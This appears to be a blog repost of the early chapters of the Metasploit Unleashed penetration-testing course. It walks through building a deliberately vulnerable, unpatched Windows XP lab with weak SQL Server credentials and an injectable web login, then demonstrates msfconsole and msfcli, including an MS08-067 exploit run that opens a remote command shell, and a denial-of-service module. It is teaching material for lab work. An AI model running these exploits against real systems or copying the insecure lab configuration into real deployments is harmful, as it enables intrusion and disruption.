samedi 27 février 2010

METASPLOIT UNLEASHED - MASTERING THE FRAMEWORK

Introduction

“If I had six hours to chop down a tree, I’d spend the first four of them sharpening my axe”.

-Abraham Lincoln




This saying has followed me for many years, and is a constant reminder to me that approaching a problem with the right set of tools is imperative for success. So what does this semi philosophical opening have to do with the Metasploit Framework? Before approaching a penetration test or an audit, I take care to “sharpen my tools” and update anything updatable in BackTrack. This includes a short chain reaction, which always starts with a prompt “svn update” of the Metasploit framework.

I consider the MSF to be one of the single most useful auditing tools freely available to security professionals today. From a wide array of commercial grade exploits and an extensive exploit development environment, all the way to network information gathering tools and web vulnerability plugins. The Metasploit Framework provides a truly impressive work environment. The MSF is far more than just a collection of exploits, it's an infrastructure that you can build upon and utilize for your custom needs. This allows you to concentrate on your unique environment, and not have to reinvent the wheel.

This course has be written in a manner to encompass not just the front end "user" aspects of the framework, but rather give you an introduction to the capabilities that Metasploit provides. We aim to give you an in depth look into the many features of the MSF, and provide you with the skill and confidence to utilize this amazing tool to its utmost capabilities.

Keep in mind that the MSF is constantly evolving and I suspect that by the time this course comes to light, there will have been many changes and additions in the project. We will attempt to keep this course up to date with all new and exciting Metasploit features as they are added.


A degree of prerequisite knowledge is expected and required of students before the content provided in this course will be useful. If you find you are unfamiliar with a certain topic, we recommend you spend time engaging in self research on the problem before attempting the module. There is nothing more satisfying than solving problems yourself, so we we highly encourage you to Try Harder.

Setting up your Windows XP SP2

For this section we will download our target VM and use Wine to run a windows application known as WinRAR. This application will aid us in extracting the target VM from a split zip file. We encourage you to verify the integrity of the files to ensure you will have successful results. The process is very simple to do since back|track4 has the necessary applications to do this.

Setting up your environment

  1. We must first download the 6 files which contain our target VM. Once you download all the files completely, ensure the md5 checksums match the ones provided below. This will take a considerable amount of time to completely download. Please take this into consideration.
    wget http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/XP-Q4-2009/XP_NIST_FDCC_Q4_2009.zip
    wget http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/XP-Q4-2009/XP_NIST_FDCC_Q4_2009.z01
    wget http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/XP-Q4-2009/XP_NIST_FDCC_Q4_2009.z02
    wget http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/XP-Q4-2009/XP_NIST_FDCC_Q4_2009.z03

  2. After the multi-part zip files have been downloaded, we then need to check their MD5 hashes. This process may take a while depending on your hardware capabilities.
    root@bt4:~# md5sum XP_NIST_FDCC_Q4_2009.z*
    a185eb4dd9882144e351c30ae236d113 XP_NIST_FDCC_Q4_2009.zip
    6e3fe97ae2da74d244a2607877b985b9 XP_NIST_FDCC_Q4_2009.z01
    b4c11fd35b71ea6e914792a9828082ef XP_NIST_FDCC_Q4_2009.z02
    18f89fc9c57d7aec406efcb9c083099a XP_NIST_FDCC_Q4_2009.z03
    root@bt4:~#
  3. We must now acquire WinRAR. This will help us in extracting our VM from the zip file. root@bt4:~# wget http://www.offsec.com/downloads/wrar390.exe
  4. We will now install msttcorefonts to get wine working properly. root@bt4:~# apt-get install msttcorefonts
  5. Next, you will need to start the WinRAR install using wine.
    root@bt4:~# wine wrar390.exe
  6. You can accept the defaults for the installation and then run WinRAR when completed.

  7. In WinRAR, click ‘File’, ‘Open archive’ and select the file FDCC-Q4-XP-VHD.zip. Once the archive has opened, click ‘Extract To’ and choose a location for the files.
  8. The last important file to download is the virtual machine config file which does not come with the NIST hard drive. Download the vmc file from the location below and save it in the same folder as the extracted hard drive.
root@bt4:~# wget http://www.offensive-security.com/msf/XP_NIST_FDCC_Q4_2009.vmc

nstall VMware Converter and Player

If you don't already have an installation of VMware Workstation, you can download the VMware Converter and VMware Player applications for free from the following locations:

VMware Converter: http://www.vmware.com/products/converter/
VMware Player: http://www.vmware.com/products/player/
  1. Change to the directory containing the VMware converter and un-tar the archive. You can safely accept all of the defaults while installing VMware Converter: root@bt4:~# tar -zxvf VMware-converter-4.0.1-161434.tar.gz
  2. Once the extraction is complete, change to the newly created directory and run the installer: root@bt4:~# cd vmware-converter-distrib/
    root@bt4:~# ./vmware-install.pl
    root@bt4:~# /usr/bin/vmware-converter-client
  3. Once Converter has started up, select 'Convert Machine' from the toolbar.
  4. In the drop-down menu next to 'Select source type', select 'Backup image or third-party virtual machine'. Luckily for us, VMware Converter supports most major image and virtual machine formats.
  5. Click 'Browse', and select the '.vmc' file in the from the extracted NIST image, then click 'Next'.
  6. In the drop-down menu next to 'Select destination type', select 'VMware Workstation or other VMware virtual machine'. Another drop-down menu will appear below the first one. Select 'Vmware Player 2.5.x'.
  7. Enter a name under 'Virtual machine details', choose a location to save the virtual machine, then click 'Next'.
  8. On the Windows version of VMware Converter, once Converter has finished analyzing the virtual machine, you will be presented with a window where you can change various VM options. Select 'Advanced options' then select the box 'Install VMware Tools on the imported virtual machine'. Click 'Next', then 'Finish'.
  9. Change to your download directory, make the VMware Player executable, and start the VMware Player installer and follow the wizard through the installation:
    root@bt4:~# chmod 755 VMware-Player-2.5.2-156735.i386.bundle
    root@bt4:~# ./VMware-Player-2.5.2-156735.i386.bundle
  10. Start VMware Player and boot the XP VM.
  11. Uninstall the "Virtual Machine Additions" using "Add Remove Programs" and install VMWare tools.

Removing GPO Settings

  1. Login to the XP machine. The Username for the image is "Renamed_Admin" and the password is P@ssw0rd123456.
  2. Right-click the following link and select 'Save As' to download the "Microsoft Fixit" (http://www.offensive-security.com/downloads/MicrosoftFixit50198.msi). Run the FixIt to reset the GPO settings. Reboot when done.
  3. Open a command prompt and issue the following commands: C:\>secedit /configure /db reset /cfg "c:\windows\security\templates\compatws.inf" /overwrite
    C:\>del c:\windows\system32\grouppolicy\machine\registry.pol
  4. Reboot the VM for your changes to take effect.

Uninstalling Patches

  1. Go into the Control Panel and select 'Switch to Classic View' on the left-hand side.
  2. Open 'Windows Firewall' and turn it 'Off'.
  3. Open 'Automatic Updates' and select 'Turn off Automatic Updates' so Windows doesn't undo our changes for us.
  4. Open 'Security Center', select 'Change the way Security Center alerts me' on the left-hand side and de-select all of the checkboxes. This will disable the annoying system tray pop-up notifications.
  5. Back in the Control Panel, open 'Add or Remove Programs'. Select the 'Show updates' checkbox at the top. This will display all of the software and security updates that have been installed.
  6. Still in the Control Panel, from the toolbar, select 'Tools', then 'Folder Options'. Select the 'View' tab and scroll all the way to the bottom. Make sure you un-check the box next to 'Use simple file sharing' and click 'OK'.
  7. From the command line run the following command to uninstall all patches and reboot : C:\>dir /a /b c:\windows\$ntuninstallkb* > kbs.txt && for /f %i in (kbs.txt) do cd c:\windows\%i\spuninst && spuninst.exe /passive /norestart && ping -n 15 localhost > nul
  8. Reboot the VM to complete the un-installation process.

Additional Services

In order to provide a larger attack surface for the various components of Metasploit, we will enable and install some additional services within our Windows virtual machine.

Internet Information Services (IIS) and Simple Network Management Protocol (SNMP)

To begin, navigate to the Control Panel and open 'Add or Remove Programs'. Select 'Add/Remove Windows Components' on the left-hand side.



Select the 'Internet Information Services (IIS)' checkbox and click 'Details'. Select the 'File Transfer Protocol (FTP) Service' checkbox and click 'OK'. By default, the installed IIS FTP service allows for anonymous connections.



Lastly, select the 'Management and Monitoring Tools' checkbox and click 'Details'. Ensure that both options are selected and click 'OK'. When all is ready, click 'Next' to proceed with the installation of IIS and SNMP.


There is an issue with the .NET Framework installed in the NIST virtual machine but it is easily fixed. In the Control Panel, select 'Add or Remove Programs' again, select 'Microsoft .NET Framework 2.0 Service Pack 1', and click 'Change'.

A progress window will pop up and a progress bar will be displayed and then it will close. This is normal behaviour and you can now exit the Control Panel and proceed.

SQL Server 2005 Express

We will also perform an installation of Microsoft's free SQL Server 2005 Express. This will allow us to use some of the different SQL modules in Metasploit. First, download the non-service pack version of SQL Server Express here: http://www.microsoft.com/downloads/details.aspx?familyid=220549B5-0B07-4448-8848-DCC397514B41&displaylang=en

Note that if you are using your own custom-built VM for this course, you will need to install the Windows Installer 3.1 and the .Net Framework 2.0 in order to install SQL Express.
Windows Installer 3.1: http://www.microsoft.com/downloads/details.aspx?familyid=889482FC-5F56-4A38-B838-DE776FD4138C&displaylang=en
.NET Framework 2.0 http://www.microsoft.com/downloads/details.aspx?FamilyID=0856EACB-4362-4B0D-8EDD-AAB15C5E04F5&displaylang=en

Once the installer has finished downloading, we can run it and select all of the defaults except for 'Authentication Mode'. Select 'Mixed Mode', set an 'sa' password of 'password1', and then continue on with the rest of the installation.



Once the installation is complete, we will need to make it accessible on our network. Click 'Start' -> 'All Programs' -> 'Microsoft SQL Server 2005' -> 'Configuration Tools' -> 'SQL Server Configuration Manager'. When the Configuration Manager starts up, select 'SQL Server 2005 Services', right-click 'SQL Server (SQL EXPRESS)' and select 'Stop'. Next, expand 'SQL Server 2005 Network Configuration' and select 'Protocols for SQLEXPRESS'.



Double-click 'TCP/IP', change 'Enabled' to 'Yes', and change 'Listen All' to 'No' on the 'Protocol' tab.



Next, select the 'IP Addresses' tab, and remove any entries under 'IPAll'. Under 'IP1' and 'IP2', remove any values for 'Dynamic Ports'. Both IP1 and IP2 should have 'Active' and 'Enabled' set to 'Yes'. Lastly, set the IP1 'IP Address' to your local address and set the IP2 address to 127.0.0.1. Your settings should look similar to the screenshot below. Click 'OK' when everything is set correctly.



Next, we'll enable the SQL Server Browser service. Select 'SQL Server 2005 Services' and double-click 'SQL Server Browser'. On the 'Service' tab, set the 'Start Mode' to 'Automatic' and click 'OK'.



By default, the SQL server runs under a limited-privilege account which breaks a lot of custom web applications. We will change this by double-clicking 'SQL Server (SQLEXPRESS)' and setting it to Log On as the Built-in Account 'Local System'. This can also be set by running 'services.msc'. Click 'OK' when you've finished.



With everything finally configured, right-click 'SQL Server (SQL EXPRESS) and select 'Start'. Do the same for the 'SQL Server Browser' service. You can now exit the Configuration Manager and verify that the services are listening properly by running 'netstat -ano' from a command prompt. You should see UDP port 1434 listening as well as your network IP address listening on port 1433.



Create a Vulnerable Web App

In order to create our vulnerable web app, you will need to download SQL Server Management Studio Express from: http://www.microsoft.com/downloadS/details.aspx?familyid=C243A5AE-4BD1-4E3D-94B8-5A0F62BF7796&displaylang=en

Install SQL Server Managment Studio Express, accepting all of the defaults for the installation then run it via 'Start' -> 'All Programs' -> 'Microsoft SQL Server 2005' -> 'SQL Server Management Studio Express'.

When Management Studio starts up, select 'SQL Server Authentication' and connect using the username 'sa' and password of 'password1'.

Right-click 'Databases' in the 'Object Explorer' and select 'New Database'.



Enter 'WebApp' for the database name and click 'OK'. In the 'Object Explorer', expand 'Databases', and expand the 'WebApp' database. Right-click 'Tables' and select 'New Table'.



Create a new table named 'users' with the column names and types as shown below.



Save the 'users' table, right-click it and select 'Open Table'.



Enter in some sample data into the table and save all of your work.



Under the main 'Object Explorer' tree, expand 'Security', then 'Logins'. Right-click 'Logins' and select 'New Login'.



In the 'Login - New' window, select 'Search', enter 'aspnet' and click 'Check Names'. Click 'OK' but keep the 'Login - New' window open.



Click on properties for ASPNET, and ensure that under user mapping the user account has db_owner and public rights to the WebApp database.



Next, we need to create our website to interact with the back-end database we created. Start Notepad and paste the following code into a new document. Save this file as 'C:\Inetpub\wwwroot\Default.aspx'.

<%@ Page Language="C#" AutoEventWireup="true" ValidateRequest="false" CodeFile="Default.aspx.cs" Inherits="_Default" %>
<%--the ValidateRequest="true" in the page directive will check for
//
}


Lastly, create a file containing the following and save it as 'C:\Inetpub\wwwroot\Web.config'.
































Open up Internet Explorer an enter 'http://your ip address'. You should be presented with a login form. Enter a bogus set of credentials to verify that the query is running correctly on the database.


Interacting with the MSF

There are many different interfaces to the Metasploit framework, each with their own strengths and weaknesses. As such, there is no one perfect interface to use with MSF, although the msfconsole is the only supported way to access most features of the Framework. It is still beneficial, however, to be comfortable with all the interfaces that MSF offers.

The next module will provide an overview of the various interfaces, along with some discussion where each is best utilized.


msfconsole

The msfconsole is probably the most popular interface to the MSF. It provides an "all-in-one" centralized console and allows you efficient access to virtually all of the options available in the Metasploit Framework. Msfconsole may seem intimidating at first, but once you learn the syntax of the commands you will learn to appreciate the power of utilizing this interface.

The msfconsole interface will work on Windows with the 3.3 release, however users of version 3.2 will need to either manually install the Framework under Cygwin, along with patching the Ruby installation, or access the console emulator via the included web or GUI components.

Benefits of the msfconsole:

  • It is the only supported way to access most of the features within Metasploit.
  • Provides a console-based interface to the framework
  • Contains the most features and is the most stable MSF interface
  • Full readline support, tabbing, and command completion
  • Execution of external commands in msfconsole is possible:

    msf > ping -c 1 192.168.1.2
    [*] exec: ping -c 1 192.168.1.2

    PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data.
    64 bytes from 192.168.1.2: icmp_seq=1 ttl=128 time=10.3 ms

    --- 192.168.1.2 ping statistics ---
    1 packets transmitted, 1 received, 0% packet loss, time 0ms
    rtt min/avg/max/mdev = 10.308/10.308/10.308/0.000 ms
    msf >

Getting Help

Entering 'help' or a '?' at the msf command prompt will display a listing of available commands along with a description of what they are used for.

msf > help

Core Commands
=============

Command Description
------- -----------
? Help menu
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
connect Communicate with a host
exit Exit the console
help Help menu
info Displays information about one or more module
irb Drop into irb scripting mode
jobs Displays and manages jobs
load Load a framework plugin
loadpath Searches for and loads modules from a path
quit Exit the console
resource Run the commands stored in a file
...snip...

tab completion

One of the more useful features of msfconsole is tab completion. With the wide array of modules available, it can be difficult to remember the exact name and path of the particular module you wish to make use of. As with most other shells, entering what you know and pressing 'Tab' will present you with a list of options available to you or auto-complete the string if there is only one option.

msf > use exploit/windows/smb/ms
use exploit/windows/smb/ms03_049_netapi
use exploit/windows/smb/ms04_007_killbill
use exploit/windows/smb/ms04_011_lsass
use exploit/windows/smb/ms04_031_netdde
use exploit/windows/smb/ms05_039_pnp
use exploit/windows/smb/ms06_025_rasmans_reg
use exploit/windows/smb/ms06_025_rras
use exploit/windows/smb/ms06_040_netapi
use exploit/windows/smb/ms06_066_nwapi
use exploit/windows/smb/ms06_066_nwwks
use exploit/windows/smb/ms08_067_netapi
use exploit/windows/smb/msdns_zonename
msf > use exploit/windows/smb/ms08_067_netapi

"show" Command

Entering 'show' at the msfconsole prompt will display every module within Metasploit.

msf > show

Encoders
========

Name Description
---- -----------
cmd/generic_sh Generic Shell Variable Substitution Command Encoder
generic/none The "none" Encoder
mipsbe/longxor XOR Encoder
...snip...

There are a number of 'show' commands you can use but the ones you will use most frequently are 'show auxiliary', 'show exploits', and 'show payloads'.

Executing 'show auxiliary' will display a listing of all of the available auxiliary modules within Metasploit. Auxiliary modules include scanners, denial of service modules, fuzzers, and more.

msf > show auxiliary

Auxiliary
=========
Name Description
---- -----------
admin/backupexec/dump Veritas Backup Exec Windows Remote File Access
admin/backupexec/registry Veritas Backup Exec Server Registry Access
admin/cisco/ios_http_auth_bypass Cisco IOS HTTP Unauthorized Administrative Access
...snip...


Naturally, 'show exploits' will be the command you are most interested in running since at its core, Metasploit is all about exploitation. Run 'show exploits' to get a listing of all exploits contained in the framework.

msf > show exploits

Exploits
========
Name Description
---- -----------
aix/rpc_ttdbserverd_realpath ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow
bsdi/softcart/mercantec_softcart Mercantec SoftCart CGI Overflow

...snip...

Running 'show payloads' will display all of the different payloads for all platforms available within Metasploit.

msf > show payloads

Payloads
========
Name Description
---- -----------
aix/ppc/shell_bind_tcp AIX Command Shell, Bind TCP Inline
aix/ppc/shell_find_port AIX Command Shell, Find Port Inline
aix/ppc/shell_reverse_tcp AIX Command Shell, Reverse TCP Inline
...snip...

As you can see, there are a lot of payloads available. Fortunately, when you are in the context of a particular exploit, running 'show payloads' will only display the payloads that are compatible with that particular exploit. For instance, if it is a Windows exploit, you will not be shown the Linux payloads.

msf exploit(ms08_067_netapi) > show payloads

Compatible payloads
===================

Name Description
---- -----------
generic/debug_trap Generic x86 Debug Trap
generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager (IPv6)
generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP Stager (No NX or Win7)
...snip...

If you have selected a specific module, you can issue the 'show options' command to display which settings are available and/or required for that specific module.

msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


Exploit target:

Id Name
-- ----
0 Automatic Targeting

If you aren't certain whether an operating system is vulnerable to a particular exploit, run the 'show targets' command from within the context of an exploit module to see which targets are supported.

msf exploit(ms08_067_netapi) > show targets

Exploit targets:

Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
...snip...

If you wish the further fine-tune an exploit, you can see more advanced options by running 'show advanced'.

msf exploit(ms08_067_netapi) > show advanced

Module advanced options:

Name : CHOST
Current Setting:
Description : The local client address

Name : CPORT
Current Setting:
Description : The local client port

...snip...

"search" Command


The msfconsole includes an extensive regular-expression based search functionality. If you have a general idea of what you are looking for you can search for it via 'search '. In the output below, a search is being made for MS Bulletin MS09-011. The search function will locate this string within the module references.

Note the naming convention for Metasploit modules uses underscores versus hyphens.


msf > search ms09-001
[*] Searching loaded modules for pattern 'ms09-001'...

Auxiliary
=========

Name Description
---- -----------
dos/windows/smb/ms09_001_write Microsoft SRV.SYS WriteAndX Invalid DataOffset

"info" Command

The 'info' command will provide detailed information about a particular module including all options, targets, and other information.

msf > info dos/windows/smb/ms09_001_write

Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset
Version: 6890
License: Metasploit Framework License (BSD)

Provided by:
j.v.vallejo

"use" Command

When you have decided on a particular module to make use of, issue the 'use' command to select it.

msf > use dos/windows/smb/ms09_001_write
msf auxiliary(ms09_001_write) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port

msf auxiliary(ms09_001_write) >

"connect" Command

By issuing the 'connect' command with an ip address and port number, you can connect to a remote host from within msfconsole the same as you would with netcat or telnet.

msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
ÿýÿýÿý!ÿûÿû
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)
ÿ
DD-WRT login:

"set" Command

The 'set' command is used to configure the options and settings of the module you are currently working with.

msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf auxiliary(ms09_001_write) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.1 yes The target address
RPORT 445 yes Set the SMB service port

A recently added feature in Metasploit is the ability to set an encoder to use at run-time. This is particularly useful in exploit development when you aren't quite certain as to which payload encoding methods will work with an exploit.

msf exploit(ms08_067_netapi) > show encoders

Compatible encoders
===================

Name Description
---- -----------
cmd/generic_sh Generic Shell Variable Substitution Command Encoder
generic/none The "none" Encoder
mipsbe/longxor XOR Encoder
mipsle/longxor XOR Encoder
php/base64 PHP Base64 encoder
ppc/longxor PPC LongXOR Encoder
ppc/longxor_tag PPC LongXOR Encoder
sparc/longxor_tag SPARC DWORD XOR Encoder
x64/xor XOR Encoder
x86/alpha_mixed Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower Avoid UTF8/tolower
x86/call4_dword_xor Call+4 Dword XOR Encoder
x86/countdown Single-byte XOR Countdown Encoder
x86/fnstenv_mov Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive Polymorphic Jump/Call XOR Additive Feedback Encoder
x86/nonalpha Non-Alpha Encoder
x86/nonupper Non-Upper Encoder
x86/shikata_ga_nai Polymorphic XOR Additive Feedback Encoder
x86/unicode_mixed Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper Alpha2 Alphanumeric Unicode Uppercase Encoder

msf exploit(ms08_067_netapi) > set encoder x86/shikata_ga_nai
encoder => x86/shikata_ga_nai

"check" command

There aren't many exploits that support it, but there is also a 'check' option that will check to see if a target is vulnerable to a particular exploit instead of actually exploiting it.

msf exploit(ms04_045_wins) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.114 yes The target address
RPORT 42 yes The target port


Exploit target:

Id Name
-- ----
0 Windows 2000 English


msf exploit(ms04_045_wins) > check
[-] Check failed: The connection was refused by the remote host (192.168.1.114:42)

Setting Global Variables

In order to save a lot of typing during a pentest, you can set global variables within msfconsole. You can do this with the 'setg' command. Once these have been set, you can use them in as many exploits and auxiliary modules as you like. You can also save them for use the next time your start msfconsole. However, the pitfall is forgetting you have saved globals, so always check your options before you 'run' or 'exploit'. Conversely, you can use the 'unsetg' command to unset a global variable. In the examples that follow, variables are entered in all-caps (ie: LHOST), but Metasploit is case-insensitive so it is not necessary to do so.

msf > setg LHOST 192.168.1.101
LHOST => 192.168.1.101
msf > setg RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > setg RHOST 192.168.1.136
RHOST => 192.168.1.136
msf > save
Saved configuration to: /root/.msf3/config
msf >

"exploit/run" Commands

When launching an exploit, you issue the 'exploit' command whereas if you are using an auxiliary module, the proper usage is 'run' although 'exploit' will work as well.

msf auxiliary(ms09_001_write) > run

Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue
datalenlow=55535 dataoffset=65535 fillersize=72
rescue
datalenlow=45535 dataoffset=65535 fillersize=72
rescue
datalenlow=35535 dataoffset=65535 fillersize=72
rescue
datalenlow=25535 dataoffset=65535 fillersize=72
rescue
...snip...

"back" Command

Once you have finished working with a particular module, or if you inadvertently select the wrong module, you can issue the 'back' command to move out of the current context. This, however is not required. Just as you can in commercial routers, you can switch modules from within other modules. As a reminder, variables will only carry over if they are set globally.

msf auxiliary(ms09_001_write) > back
msf >

"resource" Command

Some attacks such as Karmetasploit use a resource file that you can load through the msfconsole using the 'resource' command. These files are a basic scripting for msfconsole. It runs the commands in the file in sequence. Later on we will discuss how, outside of Karmetasploit, that can be very useful.

msf > resource karma.rc
resource> load db_sqlite3
[-]
[-] The functionality previously provided by this plugin has been
[-] integrated into the core command set. Use the new 'db_driver'
[-] command to use a database driver other than sqlite3 (which
[-] is now the default). All of the old commands are the same.
[-]
[-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin
resource> db_create /root/karma.db
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/karma.db
resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST => 10.0.0.1
...snip...

"irb" Command

Running the 'irb' command will drop you into ruby scripting mode where you can issue commands and create scripts on the fly.

msf > irb
[*] Starting IRB shell...

>> puts "Hello, metasploit!"
Hello, metasploit!


msfcli

Msfcli provides a powerful command-line interface to the framework.


Note that when using msfcli, variables are assigned using '=' and that all options are case-sensitive.

root@bt4:/pentest/exploits/framework3# ./msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.115 PAYLOAD=windows/shell/bind_tcp E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (192.168.1.101:54659 -> 192.168.1.115:4444)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

If you aren't entirely sure about what options belong to a particular module, you can append the letter 'O' to the end of the string at whichever point you are stuck.

root@bt4:/pentest/exploits/framework3# ./msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


To display the payloads that are available for the current module, append the letter 'P' to the command-line string.

root@bt4:/pentest/exploits/framework3# ./msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.115 P
[*] Please wait while we load the module tree...

Compatible payloads
===================

Name Description
---- -----------
generic/debug_trap Generate a debug trap in the target process
...snip...

The other options available to msfcli are available by issuing 'msfcli -h'.

Benefits of mscli:

  • Supports the launching of exploits and auxiliary modules
  • Useful for specific tasks
  • Good for learning
  • Convenient to use when testing or developing a new exploit
  • Good tool for one-off exploitation
  • Excellent if you know exactly which exploit and options you need
  • Wonderful for use in scripts and basic automation


The only real drawback of msfcli is that it is not supported quite as well as msfconsole and it can only handle one shell at a time, making it rather impractical for client-side attacks. It also doesn't support any of the advanced automation features of msfconsole.

msfgui

Msfgui, as its name suggests, provides a graphical user interface to the Metasploit Framework.



Benefits of msfgui:

  • Good tool for demonstrations to clients and management
  • Provides a point and click interface for exploitation
  • GTK wizard-based interface for using the Metasploit Framework
  • Supports a msfconsole clone via Control+O or menu options Window->Console
  • Graphical file and process browser when using Meterpreter payloads
  • Visual job handling and windowing

Drawbacks of msfgui are:

  • As of version 3.3 of the Metasploit Framework, msfgui will no longer be maintained.
  • It is not particularly stable and is prone to crashing

msfweb

The msfweb component of metasploit is a multi-user ruby-on-rails interface to the framework.



Benefits of msfweb:

  • Supports multiple users, AJAX-based msfconsole implementation, payloads, encoders, and more.
  • It's excellent for providing managment or user-awareness demos

Drawbacks of msfweb include:

  • It is only sporadically updated
  • It works, but it is a memory hog and can force the browser to a crawl
  • The msfweb interface provides absolutely no security and should only be used on trusted networks



Information Gathering

The foundation for any successful penetration test is solid information gathering. Failure to perform proper information gathering will have you flailing around at random, attacking machines that are not vulnerable and missing others that are.


We will next cover various features within the Metasploit framework that can assist with the information gathering effort.


The Dradis Framework

Whether you are performing a pen-test as part of a team or are working on your own, you will want to be able to store your results for quick reference, share your data with your team, and assist with writing your final report. An excellent tool for performing all of the above is the dradis framework. Dradis is an open source framework for sharing information during security assessments and can be found here. The dradis framework is being actively developed with new features being added regularly.

Dradis is far more than just a mere note-taking application. Communicating over SSL, it can import Nmap and Nessus result files, attach files, generate reports, and can be extended to connect with external systems (e.g. vulnerability database). In back|track4 you can issue the following command:

root@bt4: apt-get install dradis

Once the framework has installed we can now go to the directory and start the server.

root@bt4: cd /pentest/misc/dradis/server
root@bt4: ruby ./script/server

=> Booting WEBrick...
=> Rails application started on https://localhost:3004
=> Ctrl-C to shutdown server; call with --help for options
[2009-08-29 13:40:50] INFO WEBrick 1.3.1
[2009-08-29 13:40:50] INFO ruby 1.8.7 (2008-08-11) [i486-linux]
[2009-08-29 13:40:50] INFO

[2009-08-29 13:40:50] INFO WEBrick::HTTPServer#start: pid=8881 port=3004

At last, we are ready to open the dradis web interface. Navigate to https://localhost:3004 (or use the IP address), accept the certificate warning, enter a new server password when prompted, and login using the password set in the previous step. Note that there are no usernames to set so on login, you can use whichever login name you like. If all goes well, you will be presented with the main dradis workspace.

On the left-hand side you can create a tree structure. Use it to organise your information (eg: Hosts, Subnets, Services, etc). On the right-hand you can add the relevant information to each element (think notes or attachments).


Prior to starting the dradis console, you will need to edit the file 'dradis.xml' to reflect the username and password you set when initially running the server. This file can be located under back|track4 under '/pentest/misc/dradis/client/conf'.

You can now launch the dradis console by issuing the following command from the '/pentest/misc/dradis/client/' directory:

root@bt4:/pentest/misc/dradis/client# ruby ./dradis.rb
event(s) registered: [:exception]
Registered observers:
{:exception=>[#>, @io=#>]}

dradis>

For further information on the dradis framework, you can visit the project site at http://dradisframework.org/.


Port Scanning

Although we have already set up and configured dradis to store our notes and findings, it is still good practice to create a new database from within Metasploit as the data can still be useful to have for quick retrieval and for use in certain attack scenarios.

msf > db_create
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db
msf > load db_tracker
[*] Successfully loaded plugin: db_tracker
msf > help
...snip...
Database Backend Commands
=========================

Command Description
------- -----------
db_add_host Add one or more hosts to the database
db_add_note Add a note to host
db_add_port Add a port to host
db_autopwn Automatically exploit everything
db_connect Connect to an existing database
db_create Create a brand new database
db_del_host Delete one or more hosts from the database
db_del_port Delete one port from the database
db_destroy Drop an existing database
db_disconnect Disconnect from the current database instance
db_driver Specify a database driver
db_hosts List all hosts in the database
db_import_amap_mlog Import a THC-Amap scan results file (-o -m)
db_import_nessus_nbe Import a Nessus scan result file (NBE)
db_import_nessus_xml Import a Nessus scan result file (NESSUS)
db_import_nmap_xml Import a Nmap scan results file (-oX)
db_nmap Executes nmap and records the output automatically
db_notes List all notes in the database
db_services List all services in the database
db_vulns List all vulnerabilities in the database

msf >

We can use the 'db_nmap' command to run an Nmap scan against our targets and have the scan results stored in the newly created database however, Metasploit will only create the xml output file as that is the format that it uses to populate the database whereas dradis can import either the grepable or normal output. It is always nice to have all three Nmap outputs (xml, grepable, and normal) so we can run the Nmap scan using the '-oA' flag to generate the three output files then issue the 'db_import_nmap_xml' command to populate the Metasploit database.

If you don't wish to import your results into dradis, simply run Nmap using 'db_nmap' with the options you would normally use, omitting the output flag. The example below would then be 'db_nmap -v -sV 192.168.1.0/24'.
msf > nmap -v -sV 192.168.1.0/24 -oA subnet_1
[*] exec: nmap -v -sV 192.168.1.0/24 -oA subnet_1

Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-13 19:29 MDT
NSE: Loaded 3 scripts for scanning.
Initiating ARP Ping Scan at 19:29
Scanning 101 hosts [1 port/host]
...
Nmap done: 256 IP addresses (16 hosts up) scanned in 499.41 seconds
Raw packets sent: 19973 (877.822KB) | Rcvd: 15125 (609.512KB)

With the scan finished, we will issue the 'db_import_nmap_xml' command to import the Nmap xml file.

